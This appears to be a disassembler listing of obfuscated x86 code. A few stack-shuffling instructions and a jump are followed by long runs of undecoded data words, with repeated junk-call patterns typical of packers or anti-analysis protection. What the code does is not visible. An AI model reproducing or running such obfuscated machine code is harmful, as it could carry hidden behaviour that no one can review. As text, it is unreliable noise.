		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_58941B
; ---------------------------------------------------------------------------
		db 0A4h, 10h, 7Ch
		dd 0ADA52D6Ah, 1B6AFAD8h, 0F2978AD2h, 0ACC70CB8h, 0FFC50307h
		dd 0C54DA2E0h, 40914E03h, 92254640h, 3EEA535h, 0D9C0C859h
		dd 0A2AD3C17h, 19761B74h, 0B716BC64h, 2342AF2Bh, 4E4BAD02h
		dd 242A0A14h, 877E692Ah, 2010C45Eh, 1A646145h, 0D08F333Ch
		dd 25858D0Ch, 8B07A804h, 0A807C19Dh, 0BB509007h, 3D9AE79Dh
		dd 6ADA8B90h, 89958900h, 6A07A814h, 0FA8B6600h,	0C938858Dh
		dd 0DE8B07ACh, 6605C083h, 50FC66BBh, 10E8h, 74B52400h
		dd 0C6F35A0Ch, 1EEC61E7h, 0D6ED1B7Bh, 15830F63h, 0E9000000h
		dd 10h,	0B8182578h, 0B9943CF3h,	0DFB5917Dh, 0B2AA33BBh
		dd 2404895Bh, 2850Fh, 0C4B70000h, 6A006AFCh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0C6DAC350h, 8009AF38h, 0BF66E0E3h, 6A3D1Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0A1C35242h, 8B9D4901h
		dd 0A80A159Dh, 0E5BB6607h, 3995FFCFh, 0BB07A81Bh, 3BFEFB6Dh
		dd 9A3B8D8Dh, 6A07ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0B529EEC3h, 7A82F3Dh, 0B119BF66h
		dd 6E9D1FFh, 4000000h, 13ABC904h, 0A5BD83AEh, 107A806h
		dd 43850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 555913C3h, 60565972h, 26A5B50h
		dd 50DEBF0Fh, 62B2BF66h, 1240489h, 0A82995BDh, 0E595FF07h
		dd 8B07A814h, 0A817D99Dh, 0E00E907h, 0E80000h, 5D000000h
		dd 0C942ED81h, 6A07ACh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 38B969C3h, 8CCE9B28h, 12E9A6h, 120D0000h
		dd 69DB7146h, 0CCDC2D2Bh, 23B35497h, 4349AFF8h,	8C03858Dh
		dd 0BD8B07ABh, 7A821DDh, 840F50h, 89000000h, 0BD2B2404h
		dd 7A814E9h, 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 1303C350h, 89DB8526h
		dd 0A80E7585h, 25896407h, 0
		dd 0AE8h, 961D0B00h, 1824502Bh,	8B5BA0A1h, 0A835859Dh
		dd 85FF5B07h, 7A80EE5h,	880F5F53h, 1, 6AFF6AF8h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0E3ACC356h, 1327BE0Eh, 18799D33h, 810F07A8h,	3, 0FFF9BF0Fh
		dd 0A810A9B5h, 69852907h, 8B07A82Ah, 6D95FFFAh,	0E907A824h
		dd 178h, 92E381F9h, 0B069CD54h,	0D18D2900h, 0E607A830h
		dd 5820F70h, 66000000h,	0B1CEEB81h, 9E871E4h, 4F000000h
		dd 0A333E218h, 2C7B092Eh, 0B5295FF5h, 7A8286Dh,	830F613Ch
		dd 13Ch, 88D0Fh, 8B520000h, 0A83545BDh,	0B60F5B07h, 58C0FC8h
		dd 0BF000000h, 735CDB97h, 6BAh,	1AF78000h, 8D89C18Bh, 7A81A65h
		dd 0E804E8C1h, 9, 0B5D41F8Eh, 90142F24h, 6E9BFh, 3A280000h
		dd 0A89E7D14h, 0FE95Fh,	4BC80000h, 4549594Fh, 0DB52FABh
		dd 0A2E123EAh, 0E2F7663Bh, 0B70FC82Bh, 0E9D18BDFh, 13h
		dd 0F40132CAh, 17C6A38Bh, 0ACEF0651h, 769CC805h, 0F327FB9h
		dd 687h, 55BD8900h, 0E907A81Ah,	0ACh, 3325BD33h, 858B07A8h
		dd 8, 8E9h, 6F792E00h, 19C2BAA8h, 7C0836Dh, 0A55FBF66h
		dd 0E900C083h, 11h, 0B7EA599Eh,	2B15B3C6h, 0F7B93E09h
		dd 0C8A42F34h, 0FD03B05h, 2683h, 14E96000h, 87000000h
		dd 686647h, 25843EDAh, 0F23F282Ch, 0D8E4163Ah, 6197D0ABh
		dd 4BE9h, 1ECF8100h, 8B2DB9FCh,	0FFFFFF8Dh, 0C78166FFh
		dd 0E183833Bh, 31840F01h, 9000000h, 0A8287995h,	0FFA58307h
		dd 0FEFFFFFFh, 89589h, 14E90000h, 1D000000h, 577F0442h
		dd 2BF0EAE8h, 2253385Ah, 99D39EB6h, 0E9917F6Eh,	0
		dd 3E6CB58Dh, 6AF507ACh, 659D8B00h, 0FF07A831h,	0A80D2195h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0E3673F83h, 7989E381h, 0FABB1847h, 0B91020C4h
		dd 1065h, 0FF02C2BBh, 0FCE18369h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0C35242h, 5688406Eh, 6AFCEAC1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 1900C350h, 0C02BC2D3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0B1C35242h,	88F2D5EEh, 0BD4DF798h
		dd 5B58952h, 5F07A827h,	0BAh, 0C233AD00h, 0D003E8D1h, 7504E983h
		dd 0EEC381F4h, 6A4DFA89h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 48A4C353h, 0A61DDF2h
		dd 880Dh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 29DD0EC0h, 0A831098Dh, 31958B07h
		dd 307A817h, 0A804B59Dh, 598D8B07h, 6A07A80Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 762CC357h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0A1BB25C3h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0F8680EA5h
		dd 0E478C43Ah, 99B531CAh, 0BF07A807h, 8F36A70h,	1885BD83h
		dd 0F0007A8h, 0B584h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 21F7FCEAh, 0B81C3C3Bh
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 8AC35646h
		dd 1B459D03h, 8D8D07A8h, 7A84E4Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 9CC35343h, 0E08D3844h, 4E8720FFh
		dd 24618D89h, 0E1FF07A8h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 59C35242h, 0D0B4410Bh, 66E1D366h, 0E93D53BFh
		dd 0Eh,	0FFEEBB8Ch, 3A612D2Eh, 1244CE63h, 0BD833137h, 7A80939h
		dd 0FC840F00h, 0F000003h, 28Ch,	83FA8A00h, 0A80939BDh
		dd 840F0107h, 402h, 212D9D89h, 0BD8307A8h, 7A80939h, 0B9860F03h
		dd 6A000003h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 35D6C357h, 60FB8B66h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 95C35343h, 0D98C66BEh
		dd 4E180F5h, 6E952h, 34310000h,	0A61EF131h, 0FC90A5Bh
		dd 11184h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 153067C6h, 0DC521BEAh, 6800Fh, 9D8B0000h
		dd 7A81001h, 0BB1858Bh,	9D8907A8h, 7A821CDh, 28718533h
		dd 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0A6E7B5C3h, 7E917h, 47B20000h, 93CCB86Bh
		dd 6060500Fh, 99857CB8h, 615A5008h, 61CF8B66h, 8B240489h
		dd 0A80F31BDh, 29006A07h, 0A80BF195h, 0EEE6807h, 0BF666C15h
		dd 34813058h, 0A0D1124h, 199D236Ch, 0FF07A834h,	0A8053995h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0C7816651h, 85893FE9h, 7ABBB2Bh,	26D6B2BBh
		dd 220E907h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 310E8CC3h, 0FD70AE8Bh, 8E9h, 25E66C00h
		dd 417ADE66h, 0DF8B6695h, 290DBD01h, 858B07A8h,	7ABBB23h
		dd 0C72FD780h, 1800h, 418D2900h, 8B07A80Ah, 0ABBB27B5h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0E34551F4h, 6A1698F1h, 858B0E4Fh, 7A80CCDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0DFC35040h
		dd 8EA3D368h, 14219589h, 9D8907A8h, 7A80F59h, 0BD8B0689h
		dd 7A80E0Dh, 0BB1858Bh,	6A07A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 96B2FBC3h, 4FD11C72h
		dd 53C2B28Fh, 0EE8h, 0BC9F0F00h, 91703273h, 0A2121192h
		dd 8BA5DD8Eh, 0A8005DBDh, 895F5B07h, 12E80446h,	0B8000000h
		dd 0A54313CEh, 162391E3h, 1CDF0053h, 9EAF57CCh,	14E960AAh
		dd 0B6000000h, 0ECAA2D61h, 0A8F05199h, 0A2C50CD5h, 39F9C137h
		dd 8B7143FFh, 0A82F99B5h, 505B6107h, 89243489h,	0A819A5BDh
		dd 23B5FF07h, 0E807ABBBh, 4, 1F03FFh, 40257BBBh, 8D0F505Dh
		dd 2, 448BF98Bh, 52500424h, 310FF2B7h, 5AFE8B66h, 0BB008B58h
		dd 404756BCh, 4244489h,	5020ABFh, 0FE85825h, 8E000000h
		dd 8C3E12D5h, 831950B6h, 5A2F0AC3h, 0BD334AF4h,	7A831F1h
		dd 2B858D5Bh, 6A07ABBBh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 6049C355h, 0BFBAA708h
		dd 5AF5BF29h, 0BE890h, 31E70000h, 0E2495C22h, 67172CFAh
		dd 0A3BB668Bh, 90505FFBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0A7C35545h, 0FF5B522Fh, 0A8053995h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0ED6B9AECh, 6A618F26h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E84AC350h,	0Eh, 0CDD92991h
		dd 0ECC59E90h, 98BC1602h, 0D3BFF3FBh, 5B4B39BFh, 93985C7h
		dd 307A8h, 0BD0B0000h, 7A81839h, 0BB2BBD83h, 0F0007ABh
		dd 1384h, 0BD035100h, 7A8309Dh,	21E95Bh, 0B5890000h, 7A80EF5h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 749EC355h, 8166E0DFh, 0E93528E3h,	13h, 0A9BD3E25h
		dd 275166AEh, 5484BF0Ch, 0F7D37CEh, 0E93C4143h,	11h, 0E4D5F0D4h
		dd 3840BE91h, 66805B19h, 8ACE7103h, 83DA8B9Bh, 0A80939BDh
		dd 850F0307h, 422h, 3D0DBF66h, 0BB2BBD83h, 0F0007ABh, 41184h
		dd 0D99D8900h, 0FF07A80Dh, 0ABBB2BB5h, 0A9958907h, 0FF07A807h
		dd 0A8247595h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 8589F8ABh, 7A804D9h, 0BB1FB58Bh
		dd 6A07ABh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0FCE5DAC3h, 2A4253D8h, 66FEE3DCh,	3390A4BFh
		dd 0A82D15BDh, 106C707h, 6A000100h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 5E84C355h
		dd 31F0B0FAh, 9DBD0357h, 5F07A808h, 66525050h, 310FFB8Bh
		dd 9E850h, 66E30000h, 201A48BCh, 5BFF1E48h, 89585A5Bh
		dd 0B70F2434h, 0CDB589DEh, 0FF07A828h, 0ABBB2BB5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0F2701D55h, 5144B415h, 659D8Bh, 0FF5F07A8h, 0A823E595h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 4EF80CD2h, 0EADB1C9Ch, 10859D8Bh, 952907A8h
		dd 7A826B5h, 0BB1FB58Bh, 6A07ABh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 858B69C3h, 7A82941h
		dd 5A5B529h, 868907A8h,	0C4h, 0D7E38166h, 31958BD5h, 8307A817h
		dd 0BB5004C2h, 21E0AD19h, 2050895Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 1AC35242h, 0B4662B4Ch, 1315CB9Fh
		dd 8DDE8B66h, 0ABCFC185h, 0F7C38107h, 89566B5Dh, 0B886h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 860F156Dh, 9, 38E0Fh, 0B70F0000h, 6ADA8BFAh
		dd 0BE900h, 8A630000h, 0DDC5891Eh, 6728C46Ah, 2BB5FF72h
		dd 6607ABBBh, 0FF65EFBFh, 0A814E595h, 890F07h, 50000000h
		dd 13E9h, 5DA8100h, 0B5240BD6h,	0F35A0C74h, 0EC61E7C6h
		dd 0ED1B7B1Eh, 6A243489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 5D69C357h, 8A5BF953h
		dd 2BB5FFF9h, 2B07ABBBh, 0A82811BDh, 0A5BD8B07h, 0FF07A818h
		dd 0A81D0995h, 8B666007h, 860FD9h, 61000000h, 1DFDBD83h
		dd 0F0007A8h, 5884h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0DA1BF246h, 830FF1C7h
		dd 6, 2381BD8Bh, 0B58907A8h, 7A80A41h, 58D1DB81h, 60967771h
		dd 6057A0B4h, 50615861h, 0CE9h,	0FA5A1D00h
		dd 0F3BA9B74h, 71C02BA6h, 0BF0F960Dh, 2BB5FFFBh, 6A07ABBBh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0A7B2C353h, 0BF1E7C84h, 0B60AE10h, 10D595FFh
		dd 0B50107A8h, 7A81DF9h, 0FFD8B70Fh, 0ABBB2BB5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0CDA45253h, 5E9ADh, 37DD0000h, 0B7162642h, 3995FFA2h
		dd 0E907A80Bh, 5, 8F9A98B5h, 0F5BD8357h, 207A831h, 83840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 68E639C3h, 0BF56056h, 0A828B195h,	8B5B6107h
		dd 0A82929BDh, 81858B07h, 6A07A829h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 33C6C350h
		dd 0FC164247h, 8D89A863h, 7A82DF9h, 6A0000C6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 1F98C352h, 0FBA76F7Eh, 0C985C7C0h, 7A821h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0E8E4C351h, 0Dh, 0C641AD04h, 0C1BAF195h
		dd 5BA420E6h, 6E95B2Dh,	6AFFFFF3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 2196C357h
		dd 0DE9CAA4h, 4D000000h, 783BD88h, 0AE7CB40Dh, 21063BA3h
		dd 1FC28060h, 18458D09h, 8B6107A8h, 8E9C1h, 87BC0000h
		dd 88555EAh, 858D49D2h,	7A80425h, 0D019D09h, 509007A8h
		dd 0C5C3BF66h, 51006A90h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 58225509h, 8B006A96h
		dd 0A82D519Dh, 6870F07h, 1000000h, 0A80C6D9Dh, 6A006A07h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0BA4DC352h, 8BB2D835h, 0A82D1D9Dh, 2B858D07h
		dd 6A07ACD9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 60A6C351h, 8BFE3D8Fh, 0A834419Dh
		dd 559D2907h, 8307A81Ah, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 70AD8DC3h, 0FDBF66E2h
		dd 158D89C9h, 9007A81Dh, 51E4BE60h, 5061171Eh, 4F1CC4BBh
		dd 5E8907Ch, 0DB000000h, 2FBADFEEh, 331BD31h, 6A5F07A8h
		dd 1D8D8900h, 6A07A831h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 890FDCF1h, 6, 0E61BD89h
		dd 95FF07A8h, 7A81B39h,	6959D89h, 8D8D07A8h, 7AB9A3Bh
		dd 6AD1FFF8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 84D9C356h, 27E18E3Eh, 39BD33DCh
		dd 8307A81Ah, 0A806A5BDh, 850F0107h, 84h, 0AE9h, 1E72600h
		dd 557A8A57h, 6ACE8E95h, 51006A02h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 7633474Ah, 0A3462486h
		dd 68D0Fh, 8D890000h, 7A82D29h,	90D9BF0Fh, 48B0Fh, 0B3510000h
		dd 60505F66h, 61DA8B66h, 0FFFE8B90h, 0A814E595h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0AD49F142h, 66248D34h, 9002D781h, 0CAEE9h, 0E800h, 815D0000h
		dd 0ACD935EDh, 598D8907h, 0E907A818h, 0Dh, 0E7053599h
		dd 0E9F1E276h, 0DCEADCA3h, 12E8A3h, 15480000h, 43FD1972h
		dd 838803EFh, 0C74355E0h, 4DFB1280h, 8D5B589h, 8D5B07A8h
		dd 0AB8C0385h, 0BABF6607h, 99B35030h, 0F240489h, 198Ch
		dd 0CE96000h, 0C6000000h, 4E175D23h, 0BBA11561h, 898876EDh
		dd 0A807B9B5h, 0FF646107h, 35h,	47EB8100h, 139D13Dh, 0A80E21BDh
		dd 25896407h, 0
		dd 0F18D8960h, 6007A80Eh, 14E9h, 60748900h, 3FC2988Dh
		dd 429DDCECh, 5F962984h, 0D283A04h, 5E99Fh, 48100000h
		dd 61B4EEEEh, 0F7DB8061h, 0EE585FFh, 0FF6A07A8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 76C35141h, 415F3919h
		dd 0B7FBCC80h, 14BDB5FFh, 0BF0F07A8h, 6D95FFFEh, 0E907A824h
		dd 0E2h, 0E600B0F5h, 8B71E470h,	0F613CF8h, 0D183h, 15850100h
		dd 0F07A810h, 7E9C8B6h,	38000000h, 9271DF4Bh, 6BA6731h
		dd 0F000000h, 89h, 8B28B700h, 0EB8166C1h, 0E8C13648h, 0C111BB04h
		dd 0F7662D1Dh, 0AE8E2h,	67CA0000h, 62EC2544h, 4756C630h
		dd 27299D8Bh, 2B5B07A8h, 608CBFC8h, 0D18B07ABh,	2CBD8589h
		dd 73E907A8h, 31000000h, 0A80CEDBDh, 75858907h,	8B07A82Eh
		dd 185h, 0C083F800h, 0D5BD8B07h, 8307A808h, 8B6600C0h
		dd 0FD03BF8h, 0B83h, 819D8B00h,	0E907A80Eh, 3Eh, 0FFFF8D8Bh
		dd 0B3B3FFFFh, 0F01E183h, 2D84h, 998D8900h, 8B07A807h
		dd 0A824799Dh, 0FFA58307h, 0FEFFFFFFh, 491BD8Bh, 8B6607A8h
		dd 19589D9h, 89000000h,	0A825418Dh, 0E907h, 0B58D0000h
		dd 7AC4ED1h, 6E9h, 4D7A5200h, 6A666D02h, 6850F00h, 89000000h
		dd 0A821E19Dh, 2195FF07h, 6007A80Dh, 0F859589h,	0B58B07A8h
		dd 7A81585h, 0D9B58961h, 0B907A821h, 1108h, 0CE9h, 6204C700h
		dd 0E5CF89D8h, 0EF04329Fh, 0FCE1833Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0B4C35545h,	0FC2FA464h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0E0C35646h, 0FD744458h
		dd 0D18B1270h, 0B8h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 31F5B326h, 0A80F659Dh
		dd 0BA07h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0EA63B6C3h, 8E22FBB9h, 718D315Dh
		dd 0AD07A80Bh, 0E8D1C233h, 0E983D003h, 0FF47504h, 6ADFBFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0BEA893C3h, 96847119h, 19B5318Ch, 0E807A805h, 0Fh, 9EE43CE3h
		dd 4EB8CDF1h, 6953755Ch, 8B709FF3h, 0A80825BDh,	880D5F07h
		dd 66000000h, 0DE3CB81h, 1731958Bh, 858907A8h, 7A82509h
		dd 0A598D8Bh, 0F88B07A8h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0BB66E1C3h, 0BD8B3E50h, 7A809BDh
		dd 1885BD83h, 0F0007A8h, 0BA84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0C1165147h
		dd 0E51D28AAh, 0C2BB6625h, 0B872h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 796F30C3h
		dd 212FD7FEh, 0BF60B343h, 3BB6D266h, 4E4D8D8Dh,	10E807A8h
		dd 69000000h, 4979305Bh, 539D5F25h, 42E568F1h, 313EBC7Ch
		dd 0A821BD95h, 0E1FF5F07h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0D9C35747h, 0A07EB6C2h, 11E8FE5Eh, 65000000h
		dd 0CBC9E4CDh, 90E1C10Fh, 0DFB64522h, 702072B2h, 820Fh
		dd 835F0000h, 0A80939BDh, 840F0007h, 397h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0BDC35545h, 0D5FB3A89h
		dd 0DA8B957Dh, 939BD83h, 0F0107A8h, 38184h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 3DA8FE7h, 0F8AB8D45h, 939BD83h, 0F0307A8h, 31B86h, 0BF0F6000h
		dd 0E78166D8h, 8C668CF2h, 0B98589D9h, 5607A822h, 805FDE8Bh
		dd 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0A46D1C3h, 0DD840FC9h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 3EC3C350h, 85290DB3h, 7A81835h, 8BD5F380h, 0A80BB185h
		dd 0C5BD8B07h, 3307A821h, 0A8287185h, 44BB6607h, 880F50BCh
		dd 0
		dd 0F5240489h, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0B532D6C3h, 8166D232h, 68133AD7h
		dd 0A9DF5AFCh, 3240481h, 60563FA9h, 1A29D881h, 8D01608Ch
		dd 7A80C61h, 9ED38061h,	53995FFh, 0AE907A8h, 5000000h
		dd 0F40B8617h, 0DF1E2845h, 2B85896Ah, 0E907ABBBh, 0Fh
		dd 53DC3AA0h, 8EE32C66h, 2C38FDECh, 0E99745CDh,	18Ch, 10E8h
		dd 0A06B200h, 8F75F034h, 0FE13FBF8h, 0E1355DC9h, 0B19D8BBCh
		dd 5B07A832h, 0BB23858Bh, 6A07ABh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 1BBBA1C3h, 0C775C571h
		dd 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0C3D722BAh, 0F0DB33Eh, 181h, 0B58BF800h
		dd 7ABBB27h, 0CCD858Bh,	6A07A8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 7F319AC3h, 9D8BE87Ah
		dd 7A82E61h, 89D9D8Bh, 68907A8h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 14h, 98C35343h, 7B99529h, 858B07A8h
		dd 7A80BB1h, 28CD9D8Bh,	468907A8h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 20E33EF3h
		dd 0CC5412BBh, 0D9BD8B6Fh, 5007A826h, 10E8h, 35E70A00h
		dd 7B9E0E03h, 0B3C4D39Bh, 0BE431613h, 0F2BB6602h, 34895B2Ah
		dd 0DE924h, 8F1E0000h, 3E6A6F0Bh, 9E806394h, 23509EF5h
		dd 0A804719Dh, 23B5FF07h, 0F07ABBBh, 87h, 4AEE6800h, 34813F67h
		dd 78491124h, 9E93Fh, 6E020000h, 3B633D32h, 8DF97FC6h
		dd 0ABBB2B85h, 15BB6607h, 5050503Bh, 0FD88B52h,	0F1BF6631h
		dd 5B585A1Fh, 0F5240489h, 53995FFh, 9D2307A8h, 7A826D9h
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 6AE8D7D1h, 17902A1h, 0A803B595h,	3985C707h
		dd 307A809h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 9DB6C351h, 0E6BFEF64h
		dd 837B192Ch, 0ABBB2BBDh, 840F0007h, 2Ch, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 0A3C35242h, 3C4F0898h
		dd 21E950h, 9D8B0000h, 7A825FDh, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 73F0C356h, 399D8B26h
		dd 8007A825h, 6A3ECBh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 2C482EC3h, 0BD83FA8Bh, 7A80939h
		dd 15850F03h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 9DC9C356h, 8E2ECE2Dh
		dd 0DEBF0F11h, 0BB2BBD83h, 0F0007ABh, 3E384h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 2B017321h, 0EC4617C5h, 0BB2BB5FFh, 6A07ABh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 7F1B1DC3h, 0EE96924h, 95000000h, 8C25A4AAh, 0E4D183C7h
		dd 305AB3DDh, 7595FFEEh, 6A07A824h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 2718C356h
		dd 0EE91Dh, 49BA0000h, 0BAA70860h, 7DD66F27h, 86C0EAD8h
		dd 0BB1FB58Bh, 0D88B07ABh, 106C7h, 6A0001h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 7FE36BC3h
		dd 3D94E03Ch, 2F959589h, 0BF9607A8h, 451EFBA1h,	0D88B6650h
		dd 51006A96h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0D7420EDFh, 80605363h, 9589E2CFh, 7A80505h
		dd 0BD8B5F61h, 7A80609h, 0BB2BB5FFh, 0F88B07ABh, 23E595FFh
		dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 665E31C3h, 5ACACF81h, 8E93F7BFh, 1FB58B01h
